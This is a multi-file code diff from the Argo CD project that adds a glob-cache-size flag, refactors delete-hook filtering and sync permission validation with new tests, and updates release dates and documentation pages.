flag := cmd.Flags().Lookup("concurrent-application-updates")
|
||||
require.NotNil(t, flag, "expected --concurrent-application-updates flag to be registered")
|
||||
assert.Equal(t, "int", flag.Value.Type())
|
||||
assert.Equal(t, "1", flag.DefValue, "default should be 1")
|
||||
}
|
||||
|
||||
func TestNewCommand_ConcurrentApplicationUpdatesFlagValue(t *testing.T) {
|
||||
cmd := NewCommand()
|
||||
|
||||
err := cmd.Flags().Set("concurrent-application-updates", "5")
|
||||
require.NoError(t, err)
|
||||
|
||||
val, err := cmd.Flags().GetInt("concurrent-application-updates")
|
||||
require.NoError(t, err)
|
||||
assert.Equal(t, 5, val)
|
||||
}
|
||||
@@ -34,6 +34,7 @@ import (
|
||||
"github.com/argoproj/argo-cd/v3/util/dex"
|
||||
"github.com/argoproj/argo-cd/v3/util/env"
|
||||
"github.com/argoproj/argo-cd/v3/util/errors"
|
||||
utilglob "github.com/argoproj/argo-cd/v3/util/glob"
|
||||
"github.com/argoproj/argo-cd/v3/util/kube"
|
||||
"github.com/argoproj/argo-cd/v3/util/templates"
|
||||
"github.com/argoproj/argo-cd/v3/util/tls"
|
||||
@@ -87,6 +88,7 @@ func NewCommand() *cobra.Command {
|
||||
applicationNamespaces []string
|
||||
enableProxyExtension bool
|
||||
webhookParallelism int
|
||||
globCacheSize int
|
||||
hydratorEnabled bool
|
||||
syncWithReplaceAllowed bool
|
||||
|
||||
@@ -122,6 +124,7 @@ func NewCommand() *cobra.Command {
|
||||
cli.SetLogFormat(cmdutil.LogFormat)
|
||||
cli.SetLogLevel(cmdutil.LogLevel)
|
||||
cli.SetGLogLevel(glogLevel)
|
||||
utilglob.SetCacheSize(globCacheSize)
|
||||
|
||||
// Recover from panic and log the error using the configured logger instead of the default.
|
||||
defer func() {
|
||||
@@ -326,6 +329,7 @@ func NewCommand() *cobra.Command {
|
||||
command.Flags().StringSliceVar(&applicationNamespaces, "application-namespaces", env.StringsFromEnv("ARGOCD_APPLICATION_NAMESPACES", []string{}, ","), "List of additional namespaces where application resources can be managed in")
|
||||
command.Flags().BoolVar(&enableProxyExtension, "enable-proxy-extension", env.ParseBoolFromEnv("ARGOCD_SERVER_ENABLE_PROXY_EXTENSION", false), "Enable Proxy Extension feature")
|
||||
command.Flags().IntVar(&webhookParallelism, "webhook-parallelism-limit", env.ParseNumFromEnv("ARGOCD_SERVER_WEBHOOK_PARALLELISM_LIMIT", 50, 1, 1000), "Number of webhook requests processed concurrently")
|
||||
command.Flags().IntVar(&globCacheSize, "glob-cache-size", env.ParseNumFromEnv("ARGOCD_SERVER_GLOB_CACHE_SIZE", utilglob.DefaultGlobCacheSize, 1, math.MaxInt32), "Maximum number of compiled glob patterns to cache for RBAC evaluation")
|
||||
command.Flags().StringSliceVar(&enableK8sEvent, "enable-k8s-event", env.StringsFromEnv("ARGOCD_ENABLE_K8S_EVENT", argo.DefaultEnableEventList(), ","), "Enable ArgoCD to use k8s event. For disabling all events, set the value as `none`. (e.g --enable-k8s-event=none), For enabling specific events, set the value as `event reason`. (e.g --enable-k8s-event=StatusRefreshed,ResourceCreated)")
|
||||
command.Flags().BoolVar(&hydratorEnabled, "hydrator-enabled", env.ParseBoolFromEnv("ARGOCD_HYDRATOR_ENABLED", false), "Feature flag to enable Hydrator. Default (\"false\")")
|
||||
command.Flags().BoolVar(&syncWithReplaceAllowed, "sync-with-replace-allowed", env.ParseBoolFromEnv("ARGOCD_SYNC_WITH_REPLACE_ALLOWED", true), "Whether to allow users to select replace for syncs from UI/CLI")
|
||||
|
||||
@@ -2334,7 +2334,7 @@ func NewApplicationSyncCommand(clientOpts *argocdclient.ClientOptions) *cobra.Co
|
||||
|
||||
if app.Spec.HasMultipleSources() {
|
||||
if revision != "" {
|
||||
log.Fatal("argocd cli does not work on multi-source app with --revision flag. Use --revisions and --source-position instead.")
|
||||
log.Fatal("argocd cli does not work on multi-source app with --revision flag. Use --revisions and --source-positions instead.")
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
@@ -1851,7 +1851,7 @@ func (ctrl *ApplicationController) processAppRefreshQueueItem() (processNext boo
|
||||
logCtx = logCtx.WithField(k, v.Milliseconds())
|
||||
}
|
||||
|
||||
ctrl.normalizeApplication(origApp, app)
|
||||
ctrl.normalizeApplication(app)
|
||||
ts.AddCheckpoint("normalize_application_ms")
|
||||
|
||||
tree, err := ctrl.setAppManagedResources(destCluster, app, compareResult)
|
||||
@@ -2090,7 +2090,8 @@ func (ctrl *ApplicationController) refreshAppConditions(app *appv1.Application)
|
||||
}
|
||||
|
||||
// normalizeApplication normalizes an application.spec and additionally persists updates if it changed
|
||||
func (ctrl *ApplicationController) normalizeApplication(orig, app *appv1.Application) {
|
||||
func (ctrl *ApplicationController) normalizeApplication(app *appv1.Application) {
|
||||
orig := app.DeepCopy()
|
||||
app.Spec = *argo.NormalizeApplicationSpec(&app.Spec)
|
||||
logCtx := log.WithFields(applog.GetAppLogFields(app))
|
||||
|
||||
|
||||
@@ -76,6 +76,21 @@ func isPostDeleteHook(obj *unstructured.Unstructured) bool {
|
||||
return isHookOfType(obj, PostDeleteHookType)
|
||||
}
|
||||
|
||||
// hasGitOpsEngineSyncPhaseHook is true when gitops-engine would run the resource during a sync
|
||||
// phase (PreSync, Sync, PostSync, SyncFail). PreDelete/PostDelete are not sync phases;
|
||||
// without this check, state reconciliation drops such resources
|
||||
// entirely because isPreDeleteHook/isPostDeleteHook match any comma-separated value.
|
||||
// HookTypeSkip is omitted as it is not a sync phase.
|
||||
func hasGitOpsEngineSyncPhaseHook(obj *unstructured.Unstructured) bool {
|
||||
for _, t := range hook.Types(obj) {
|
||||
switch t {
|
||||
case common.HookTypePreSync, common.HookTypeSync, common.HookTypePostSync, common.HookTypeSyncFail:
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// executeHooks is a generic function to execute hooks of a specified type
|
||||
func (ctrl *ApplicationController) executeHooks(hookType HookType, app *appv1.Application, proj *appv1.AppProject, liveObjs map[kube.ResourceKey]*unstructured.Unstructured, config *rest.Config, logCtx *log.Entry) (bool, error) {
|
||||
appLabelKey, err := ctrl.settingsMgr.GetAppInstanceLabelKey()
|
||||
|
||||
@@ -192,6 +192,92 @@ func TestIsPostDeleteHook(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestPartitionTargetObjsForSync covers partitionTargetObjsForSync in state.go.
|
||||
func TestPartitionTargetObjsForSync(t *testing.T) {
|
||||
newObj := func(name string, annot map[string]string) *unstructured.Unstructured {
|
||||
u := &unstructured.Unstructured{}
|
||||
u.SetName(name)
|
||||
u.SetAnnotations(annot)
|
||||
return u
|
||||
}
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
in []*unstructured.Unstructured
|
||||
wantNames []string
|
||||
wantPreDelete bool
|
||||
wantPostDelete bool
|
||||
}{
|
||||
{
|
||||
name: "PostSync with PreDelete and PostDelete in same annotation stays in sync set",
|
||||
in: []*unstructured.Unstructured{
|
||||
newObj("combined", map[string]string{"argocd.argoproj.io/hook": "PostSync,PreDelete,PostDelete"}),
|
||||
},
|
||||
wantNames: []string{"combined"},
|
||||
wantPreDelete: true,
|
||||
wantPostDelete: true,
|
||||
},
|
||||
{
|
||||
name: "PreDelete-only manifest excluded from sync",
|
||||
in: []*unstructured.Unstructured{
|
||||
newObj("pre-del", map[string]string{"argocd.argoproj.io/hook": "PreDelete"}),
|
||||
},
|
||||
wantNames: nil,
|
||||
wantPreDelete: true,
|
||||
wantPostDelete: false,
|
||||
},
|
||||
{
|
||||
name: "PostDelete-only manifest excluded from sync",
|
||||
in: []*unstructured.Unstructured{
|
||||
newObj("post-del", map[string]string{"argocd.argoproj.io/hook": "PostDelete"}),
|
||||
},
|
||||
wantNames: nil,
|
||||
wantPreDelete: false,
|
||||
wantPostDelete: true,
|
||||
},
|
||||
{
|
||||
name: "Helm pre-delete only excluded from sync",
|
||||
in: []*unstructured.Unstructured{
|
||||
newObj("helm-pre-del", map[string]string{"helm.sh/hook": "pre-delete"}),
|
||||
},
|
||||
wantNames: nil,
|
||||
wantPreDelete: true,
|
||||
wantPostDelete: false,
|
||||
},
|
||||
{
|
||||
name: "Helm pre-install with pre-delete stays in sync (sync-phase hook wins)",
|
||||
in: []*unstructured.Unstructured{
|
||||
newObj("helm-mixed", map[string]string{"helm.sh/hook": "pre-install,pre-delete"}),
|
||||
},
|
||||
wantNames: []string{"helm-mixed"},
|
||||
wantPreDelete: true,
|
||||
wantPostDelete: false,
|
||||
},
|
||||
{
|
||||
name: "Non-hook resource unchanged",
|
||||
in: []*unstructured.Unstructured{
|
||||
newObj("pod", map[string]string{"app": "x"}),
|
||||
},
|
||||
wantNames: []string{"pod"},
|
||||
wantPreDelete: false,
|
||||
wantPostDelete: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got, hasPre, hasPost := partitionTargetObjsForSync(tt.in)
|
||||
var names []string
|
||||
for _, o := range got {
|
||||
names = append(names, o.GetName())
|
||||
}
|
||||
assert.Equal(t, tt.wantNames, names)
|
||||
assert.Equal(t, tt.wantPreDelete, hasPre, "hasPreDeleteHooks")
|
||||
assert.Equal(t, tt.wantPostDelete, hasPost, "hasPostDeleteHooks")
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestMultiHookOfType(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
|
||||
@@ -543,6 +543,28 @@ func isManagedNamespace(ns *unstructured.Unstructured, app *v1alpha1.Application
|
||||
return ns != nil && ns.GetKind() == kubeutil.NamespaceKind && ns.GetName() == app.Spec.Destination.Namespace && app.Spec.SyncPolicy != nil && app.Spec.SyncPolicy.ManagedNamespaceMetadata != nil
|
||||
}
|
||||
|
||||
// partitionTargetObjsForSync returns the manifest subset passed to gitops-engine sync, and whether
|
||||
// the full manifest set declared PreDelete and/or PostDelete hooks (for finalizer handling).
|
||||
// Uses isPreDeleteHook / isPostDeleteHook / hasGitOpsEngineSyncPhaseHook from hook.go.
|
||||
func partitionTargetObjsForSync(targetObjs []*unstructured.Unstructured) (syncObjs []*unstructured.Unstructured, hasPreDeleteHooks, hasPostDeleteHooks bool) {
|
||||
for _, obj := range targetObjs {
|
||||
if isPreDeleteHook(obj) {
|
||||
hasPreDeleteHooks = true
|
||||
if !hasGitOpsEngineSyncPhaseHook(obj) {
|
||||
continue
|
||||
}
|
||||
}
|
||||
if isPostDeleteHook(obj) {
|
||||
hasPostDeleteHooks = true
|
||||
if !hasGitOpsEngineSyncPhaseHook(obj) {
|
||||
continue
|
||||
}
|
||||
}
|
||||
syncObjs = append(syncObjs, obj)
|
||||
}
|
||||
return syncObjs, hasPreDeleteHooks, hasPostDeleteHooks
|
||||
}
|
||||
|
||||
// CompareAppState compares application git state to the live app state, using the specified
|
||||
// revision and supplied source. If revision or overrides are empty, then compares against
|
||||
// revision and overrides in the app spec.
|
||||
@@ -770,24 +792,7 @@ func (m *appStateManager) CompareAppState(app *v1alpha1.Application, project *v1
|
||||
}
|
||||
}
|
||||
}
|
||||
hasPreDeleteHooks := false
|
||||
hasPostDeleteHooks := false
|
||||
// Filter out PreDelete and PostDelete hooks from targetObjs since they should not be synced
|
||||
// as regular resources. They are only executed during deletion.
|
||||
var targetObjsForSync []*unstructured.Unstructured
|
||||
for _, obj := range targetObjs {
|
||||
if isPreDeleteHook(obj) {
|
||||
hasPreDeleteHooks = true
|
||||
// Skip PreDelete hooks - they are not synced, only executed during deletion
|
||||
continue
|
||||
}
|
||||
if isPostDeleteHook(obj) {
|
||||
hasPostDeleteHooks = true
|
||||
// Skip PostDelete hooks - they are not synced, only executed after deletion
|
||||
continue
|
||||
}
|
||||
targetObjsForSync = append(targetObjsForSync, obj)
|
||||
}
|
||||
targetObjsForSync, hasPreDeleteHooks, hasPostDeleteHooks := partitionTargetObjsForSync(targetObjs)
|
||||
|
||||
reconciliation := sync.Reconcile(targetObjsForSync, liveObjByKey, app.Spec.Destination.Namespace, infoProvider)
|
||||
ts.AddCheckpoint("live_ms")
|
||||
@@ -843,7 +848,9 @@ func (m *appStateManager) CompareAppState(app *v1alpha1.Application, project *v1
|
||||
log.Errorf("CompareAppState error getting server side diff dry run applier: %s", err)
|
||||
conditions = append(conditions, v1alpha1.ApplicationCondition{Type: v1alpha1.ApplicationConditionUnknownError, Message: err.Error(), LastTransitionTime: &now})
|
||||
}
|
||||
defer cleanup()
|
||||
if cleanup != nil {
|
||||
defer cleanup()
|
||||
}
|
||||
diffConfigBuilder.WithServerSideDryRunner(diff.NewK8sServerSideDryRunner(applier))
|
||||
}
|
||||
|
||||
|
||||
@@ -308,22 +308,9 @@ func (m *appStateManager) SyncAppState(app *v1alpha1.Application, project *v1alp
|
||||
sync.WithLogr(logutils.NewLogrusLogger(logEntry)),
|
||||
sync.WithHealthOverride(lua.ResourceHealthOverrides(resourceOverrides)),
|
||||
sync.WithPermissionValidator(func(un *unstructured.Unstructured, res *metav1.APIResource) error {
|
||||
if !project.IsGroupKindNamePermitted(un.GroupVersionKind().GroupKind(), un.GetName(), res.Namespaced) {
|
||||
return fmt.Errorf("resource %s:%s is not permitted in project %s", un.GroupVersionKind().Group, un.GroupVersionKind().Kind, project.Name)
|
||||
}
|
||||
if res.Namespaced {
|
||||
permitted, err := project.IsDestinationPermitted(destCluster, un.GetNamespace(), func(project string) ([]*v1alpha1.Cluster, error) {
|
||||
return m.db.GetProjectClusters(context.TODO(), project)
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if !permitted {
|
||||
return fmt.Errorf("namespace %v is not permitted in project '%s'", un.GetNamespace(), project.Name)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
return validateSyncPermissions(project, destCluster, func(proj string) ([]*v1alpha1.Cluster, error) {
|
||||
return m.db.GetProjectClusters(context.TODO(), proj)
|
||||
}, un, res)
|
||||
}),
|
||||
sync.WithOperationSettings(syncOp.DryRun, syncOp.Prune, syncOp.SyncStrategy.Force(), syncOp.IsApplyStrategy() || len(syncOp.Resources) > 0),
|
||||
sync.WithInitialState(state.Phase, state.Message, initialResourcesRes, state.StartedAt),
|
||||
@@ -605,3 +592,33 @@ func deriveServiceAccountToImpersonate(project *v1alpha1.AppProject, application
|
||||
// if there is no match found in the AppProject.Spec.DestinationServiceAccounts, use the default service account of the destination namespace.
|
||||
return "", fmt.Errorf("no matching service account found for destination server %s and namespace %s", application.Spec.Destination.Server, serviceAccountNamespace)
|
||||
}
|
||||
|
||||
// validateSyncPermissions checks whether the given resource is permitted by the project's
|
||||
// allow/deny lists and destination rules. It returns an error if the API resource info is nil
|
||||
// (preventing a nil-pointer panic), if the resource's group/kind is not permitted, or if
|
||||
// the resource's namespace is not an allowed destination.
|
||||
func validateSyncPermissions(
|
||||
project *v1alpha1.AppProject,
|
||||
destCluster *v1alpha1.Cluster,
|
||||
getProjectClusters func(string) ([]*v1alpha1.Cluster, error),
|
||||
un *unstructured.Unstructured,
|
||||
res *metav1.APIResource,
|
||||
) error {
|
||||
if res == nil {
|
||||
return fmt.Errorf("failed to get API resource info for %s/%s: unable to verify permissions", un.GroupVersionKind().Group, un.GroupVersionKind().Kind)
|
||||
}
|
||||
if !project.IsGroupKindNamePermitted(un.GroupVersionKind().GroupKind(), un.GetName(), res.Namespaced) {
|
||||
return fmt.Errorf("resource %s:%s is not permitted in project %s", un.GroupVersionKind().Group, un.GroupVersionKind().Kind, project.Name)
|
||||
}
|
||||
if res.Namespaced {
|
||||
permitted, err := project.IsDestinationPermitted(destCluster, un.GetNamespace(), getProjectClusters)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if !permitted {
|
||||
return fmt.Errorf("namespace %v is not permitted in project '%s'", un.GetNamespace(), project.Name)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -13,6 +13,7 @@ import (
|
||||
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
|
||||
"k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"
|
||||
"k8s.io/apimachinery/pkg/runtime"
|
||||
"k8s.io/apimachinery/pkg/runtime/schema"
|
||||
|
||||
"github.com/argoproj/argo-cd/v3/common"
|
||||
"github.com/argoproj/argo-cd/v3/controller/testdata"
|
||||
@@ -1653,3 +1654,116 @@ func dig(obj any, path ...any) any {
|
||||
|
||||
return i
|
||||
}
|
||||
|
||||
func TestValidateSyncPermissions(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
newResource := func(group, kind, name, namespace string) *unstructured.Unstructured {
|
||||
obj := &unstructured.Unstructured{}
|
||||
obj.SetGroupVersionKind(schema.GroupVersionKind{Group: group, Version: "v1", Kind: kind})
|
||||
obj.SetName(name)
|
||||
obj.SetNamespace(namespace)
|
||||
return obj
|
||||
}
|
||||
|
||||
project := &v1alpha1.AppProject{
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: "test-project",
|
||||
Namespace: "argocd",
|
||||
},
|
||||
Spec: v1alpha1.AppProjectSpec{
|
||||
Destinations: []v1alpha1.ApplicationDestination{
|
||||
{Namespace: "default", Server: "*"},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
destCluster := &v1alpha1.Cluster{
|
||||
Server: "https://kubernetes.default.svc",
|
||||
}
|
||||
|
||||
noopGetClusters := func(_ string) ([]*v1alpha1.Cluster, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
t.Run("nil APIResource returns error", func(t *testing.T) {
|
||||
t.Parallel()
|
||||
un := newResource("apps", "Deployment", "my-deploy", "default")
|
||||
|
||||
err := validateSyncPermissions(project, destCluster, noopGetClusters, un, nil)
|
||||
|
||||
require.Error(t, err)
|
||||
assert.Contains(t, err.Error(), "failed to get API resource info for apps/Deployment")
|
||||
assert.Contains(t, err.Error(), "unable to verify permissions")
|
||||
})
|
||||
|
||||
t.Run("permitted namespaced resource returns no error", func(t *testing.T) {
|
||||
t.Parallel()
|
||||
un := newResource("", "ConfigMap", "my-cm", "default")
|
||||
res := &metav1.APIResource{Name: "configmaps", Namespaced: true}
|
||||
|
||||
err := validateSyncPermissions(project, destCluster, noopGetClusters, un, res)
|
||||
|
||||
assert.NoError(t, err)
|
||||
})
|
||||
|
||||
t.Run("group kind not permitted returns error", func(t *testing.T) {
|
||||
t.Parallel()
|
||||
projectWithDenyList := &v1alpha1.AppProject{
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: "restricted-project",
|
||||
Namespace: "argocd",
|
||||
},
|
||||
Spec: v1alpha1.AppProjectSpec{
|
||||
Destinations: []v1alpha1.ApplicationDestination{
|
||||
{Namespace: "*", Server: "*"},
|
||||
},
|
||||
ClusterResourceBlacklist: []v1alpha1.ClusterResourceRestrictionItem{
|
||||
{Group: "rbac.authorization.k8s.io", Kind: "ClusterRole"},
|
||||
},
|
||||
},
|
||||
}
|
||||
un := newResource("rbac.authorization.k8s.io", "ClusterRole", "my-role", "")
|
||||
res := &metav1.APIResource{Name: "clusterroles", Namespaced: false}
|
||||
|
||||
err := validateSyncPermissions(projectWithDenyList, destCluster, noopGetClusters, un, res)
|
||||
|
||||
require.Error(t, err)
|
||||
assert.Contains(t, err.Error(), "is not permitted in project")
|
||||
})
|
||||
|
||||
t.Run("namespace not permitted returns error", func(t *testing.T) {
|
||||
t.Parallel()
|
||||
un := newResource("", "ConfigMap", "my-cm", "kube-system")
|
||||
res := &metav1.APIResource{Name: "configmaps", Namespaced: true}
|
||||
|
||||
err := validateSyncPermissions(project, destCluster, noopGetClusters, un, res)
|
||||
|
||||
require.Error(t, err)
|
||||
assert.Contains(t, err.Error(), "namespace kube-system is not permitted in project")
|
||||
})
|
||||
|
||||
t.Run("cluster-scoped resource skips namespace check", func(t *testing.T) {
|
||||
t.Parallel()
|
||||
projectWithClusterResources := &v1alpha1.AppProject{
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: "test-project",
|
||||
Namespace: "argocd",
|
||||
},
|
||||
Spec: v1alpha1.AppProjectSpec{
|
||||
Destinations: []v1alpha1.ApplicationDestination{
|
||||
{Namespace: "default", Server: "*"},
|
||||
},
|
||||
ClusterResourceWhitelist: []v1alpha1.ClusterResourceRestrictionItem{
|
||||
{Group: "*", Kind: "*"},
|
||||
},
|
||||
},
|
||||
}
|
||||
un := newResource("", "Namespace", "my-ns", "")
|
||||
res := &metav1.APIResource{Name: "namespaces", Namespaced: false}
|
||||
|
||||
err := validateSyncPermissions(projectWithClusterResources, destCluster, noopGetClusters, un, res)
|
||||
|
||||
assert.NoError(t, err)
|
||||
})
|
||||
}
|
||||
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 3.0 MiB After Width: | Height: | Size: 23 MiB |
@@ -21,8 +21,8 @@ These are the upcoming releases dates:
|
||||
| v3.1 | Monday, Jun. 16, 2025 | Monday, Aug. 4, 2025 | [Christian Hernandez](https://github.com/christianh814) | [Alexandre Gaudreault](https://github.com/agaudreault) | [checklist](https://github.com/argoproj/argo-cd/issues/23347) |
|
||||
| v3.2 | Monday, Sep. 15, 2025 | Monday, Nov. 3, 2025 | [Nitish Kumar](https://github.com/nitishfy) | [Michael Crenshaw](https://github.com/crenshaw-dev) | [checklist](https://github.com/argoproj/argo-cd/issues/24539) |
|
||||
| v3.3 | Monday, Dec. 15, 2025 | Monday, Feb. 2, 2026 | [Peter Jiang](https://github.com/pjiang-dev) | [Regina Voloshin](https://github.com/reggie-k) | [checklist](https://github.com/argoproj/argo-cd/issues/25211) |
|
||||
| v3.4 | Monday, Mar. 16, 2026 | Monday, May. 4, 2026 | [Codey Jenkins](https://github.com/FourFifthsCode) | [Regina Voloshin](https://github.com/reggie-k) | [checklist](https://github.com/argoproj/argo-cd/issues/26527) |
|
||||
| v3.5 | Monday, Jun. 15, 2026 | Monday, Aug. 3, 2026 | [Patroklos Papapetrou](https://github.com/ppapapetrou76) | [Regina Voloshin](https://github.com/reggie-k) | [checklist](https://github.com/argoproj/argo-cd/issues/26746) |
|
||||
| v3.4 | Monday, Mar. 16, 2026 | Tuesday, May. 5, 2026 | [Codey Jenkins](https://github.com/FourFifthsCode) | [Regina Voloshin](https://github.com/reggie-k) | [checklist](https://github.com/argoproj/argo-cd/issues/26527) |
|
||||
| v3.5 | Tuesday, Jun. 16, 2026 | Tuesday, Aug. 4, 2026 | [Patroklos Papapetrou](https://github.com/ppapapetrou76) | [Regina Voloshin](https://github.com/reggie-k) | [checklist](https://github.com/argoproj/argo-cd/issues/26746) |
|
||||
|
||||
Actual release dates might differ from the plan by a few days.
|
||||
|
||||
@@ -36,10 +36,10 @@ effectively means that there is a seven-week feature freeze.
|
||||
|
||||
These are the approximate release dates:
|
||||
|
||||
* The first Monday of February
|
||||
* The first Monday of May
|
||||
* The first Monday of August
|
||||
* The first Monday of November
|
||||
* The first Tuesday of February
|
||||
* The first Tuesday of May
|
||||
* The first Tuesday of August
|
||||
* The first Tuesday of November
|
||||
|
||||
Dates may be shifted slightly to accommodate holidays. Those shifts should be minimal.
|
||||
|
||||
|
||||
20
docs/faq.md
20
docs/faq.md
@@ -83,6 +83,26 @@ or a randomly generated password stored in a secret (Argo CD 1.9 and later).
|
||||
Add `admin.enabled: "false"` to the `argocd-cm` ConfigMap
|
||||
(see [user management](./operator-manual/user-management/index.md)).
|
||||
|
||||
## How to view orphaned resources?
|
||||
|
||||
Orphaned Kubernetes resources are top-level namespaced resources that do not belong to any Argo CD Application. For more information, see [Orphaned Resources Monitoring](./user-guide/orphaned-resources.md).
|
||||
|
||||
!!! warning
|
||||
Enabling orphaned resource monitoring has performance implications. If an AppProject monitors a namespace containing many resources not managed by Argo CD (e.g. `kube-system`), it can significantly impact your Argo CD instance. Enable this feature only on projects with well-scoped namespaces.
|
||||
|
||||
To view orphaned resources in the Argo CD UI:
|
||||
|
||||
1. Click on **Settings** in the sidebar.
|
||||
2. Click on **Projects**.
|
||||
3. Select the desired project.
|
||||
4. Scroll down to the **RESOURCE MONITORING** section.
|
||||
5. Click **Edit** and enable the monitoring feature.
|
||||
6. Check **Enable application warning conditions?** to enable warnings.
|
||||
7. Click **Save**.
|
||||
8. Navigate back to **Applications** and select an application under the configured project.
|
||||
9. In the **Sync Panel**, under **APP CONDITIONS**, you will see the orphaned resources warning.
|
||||
10. Click **Show Orphaned** below the **HEALTH STATUS** filters to display orphaned resources.
|
||||
|
||||
## Argo CD cannot deploy Helm Chart based applications without internet access, how can I solve it?
|
||||
|
||||
Argo CD might fail to generate Helm chart manifests if the chart has dependencies located in external repositories. To
|
||||
|
||||
@@ -230,7 +230,7 @@ p, somerole, applicationsets, get, foo/bar/*, allow
|
||||
|
||||
### Using the CLI
|
||||
|
||||
You can use all existing Argo CD CLI commands for managing applications in other namespaces, exactly as you would use the CLI to manage applications in the control plane's namespace.
|
||||
You can use all existing Argo CD CLI commands for managing ApplicationSets in other namespaces, exactly as you would use the CLI to manage ApplicationSets in the control plane's namespace.
|
||||
|
||||
For example, to retrieve the `ApplicationSet` named `foo` in the namespace `bar`, you can use the following CLI command:
|
||||
|
||||
|
||||
@@ -150,6 +150,8 @@ data:
|
||||
server.api.content.types: "application/json"
|
||||
# Number of webhook requests processed concurrently (default 50)
|
||||
server.webhook.parallelism.limit: "50"
|
||||
# Maximum number of compiled glob patterns to cache for RBAC evaluation (default 10000)
|
||||
server.glob.cache.size: "10000"
|
||||
# Whether to allow sync with replace checked to go through. Resource-level annotation to replace override this setting, i.e. it's only enforced on the API server level.
|
||||
server.sync.replace.allowed: "true"
|
||||
|
||||
|
||||
@@ -253,6 +253,11 @@ spec:
|
||||
megabytes.
|
||||
The default value is 200. You might need to increase this for an Argo CD instance that manages 3000+ applications.
|
||||
|
||||
* The `server.glob.cache.size` config key in `argocd-cmd-params-cm` (or the `--glob-cache-size` server flag) controls
|
||||
the maximum number of compiled glob patterns cached for RBAC policy evaluation. Glob pattern compilation is expensive,
|
||||
and caching significantly improves RBAC performance when many applications are managed. The default value is 10000.
|
||||
See [RBAC Glob Matching](rbac.md#glob-matching) for more details.
|
||||
|
||||
### argocd-dex-server, argocd-redis
|
||||
|
||||
The `argocd-dex-server` uses an in-memory database, and two or more instances may have inconsistent data.
|
||||
|
||||
@@ -199,7 +199,7 @@ The example below will expose the Argo CD Application labels `team-name` and `en
|
||||
In this case, the metric would look like:
|
||||
|
||||
```
|
||||
# TYPE argocd_app_labels gauge
|
||||
# TYPE argocd_cluster_labels gauge
|
||||
argocd_cluster_labels{label_environment="dev",label_team_name="team1",name="cluster1",server="server1"} 1
|
||||
argocd_cluster_labels{label_environment="staging",label_team_name="team2",name="cluster2",server="server2"} 1
|
||||
argocd_cluster_labels{label_environment="production",label_team_name="team3",name="cluster3",server="server3"} 1
|
||||
|
||||
@@ -321,6 +321,10 @@ When the `example-user` executes the `extensions/DaemonSet/test` action, the fol
|
||||
3. The value `action/extensions/DaemonSet/test` matches `action/extensions/*`. Note that `/` is not treated as a separator and the use of `**` is not necessary.
|
||||
4. The value `default/my-app` matches `default/*`.
|
||||
|
||||
> [!TIP]
|
||||
> For performance tuning of glob pattern matching, see the `server.glob.cache.size` config key in
|
||||
> [High Availability - argocd-server](high_availability.md#argocd-server).
|
||||
|
||||
## Using SSO Users/Groups
|
||||
|
||||
The `scopes` field controls which OIDC scopes to examine during RBAC enforcement (in addition to `sub` scope).
|
||||
|
||||
@@ -22,6 +22,7 @@ argocd-applicationset-controller [flags]
|
||||
--client-certificate string Path to a client certificate file for TLS
|
||||
--client-key string Path to a client key file for TLS
|
||||
--cluster string The name of the kubeconfig cluster to use
|
||||
--concurrent-application-updates int Number of concurrent Application create/update/delete operations per ApplicationSet reconcile. (default 1)
|
||||
--concurrent-reconciliations int Max concurrent reconciliations limit for the controller (default 10)
|
||||
--context string The name of the kubeconfig context to use
|
||||
--debug Print debug logs. Takes precedence over loglevel
|
||||
|
||||
@@ -54,6 +54,7 @@ argocd-server [flags]
|
||||
--enable-gzip Enable GZIP compression (default true)
|
||||
--enable-k8s-event none Enable ArgoCD to use k8s event. For disabling all events, set the value as none. (e.g --enable-k8s-event=none), For enabling specific events, set the value as `event reason`. (e.g --enable-k8s-event=StatusRefreshed,ResourceCreated) (default [all])
|
||||
--enable-proxy-extension Enable Proxy Extension feature
|
||||
--glob-cache-size int Maximum number of compiled glob patterns to cache for RBAC evaluation (default 10000)
|
||||
--gloglevel int Set the glog logging level
|
||||
-h, --help help for argocd-server
|
||||
--hydrator-enabled Feature flag to enable Hydrator. Default ("false")
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
# Verification of Argo CD Artifacts
|
||||
|
||||
## Prerequisites
|
||||
- cosign `v2.0.0` or higher [installation instructions](https://docs.sigstore.dev/cosign/installation)
|
||||
- cosign `v2.0.0` or higher [installation instructions](https://docs.sigstore.dev/cosign/system_config/installation/)
|
||||
- slsa-verifier [installation instructions](https://github.com/slsa-framework/slsa-verifier#installation)
|
||||
- crane [installation instructions](https://github.com/google/go-containerregistry/blob/main/cmd/crane/README.md) (for container verification only)
|
||||
|
||||
@@ -154,4 +154,4 @@ slsa-verifier verify-artifact sbom.tar.gz \
|
||||
> [!NOTE]
|
||||
> We encourage all users to verify signatures and provenances with your admission/policy controller of choice. Doing so will verify that an image was built by us before it's deployed on your Kubernetes cluster.
|
||||
|
||||
Cosign signatures and SLSA provenances are compatible with several types of admission controllers. Please see the [cosign documentation](https://docs.sigstore.dev/cosign/overview/#kubernetes-integrations) and [slsa-github-generator](https://github.com/slsa-framework/slsa-github-generator/blob/main/internal/builders/container/README.md#verification) for supported controllers.
|
||||
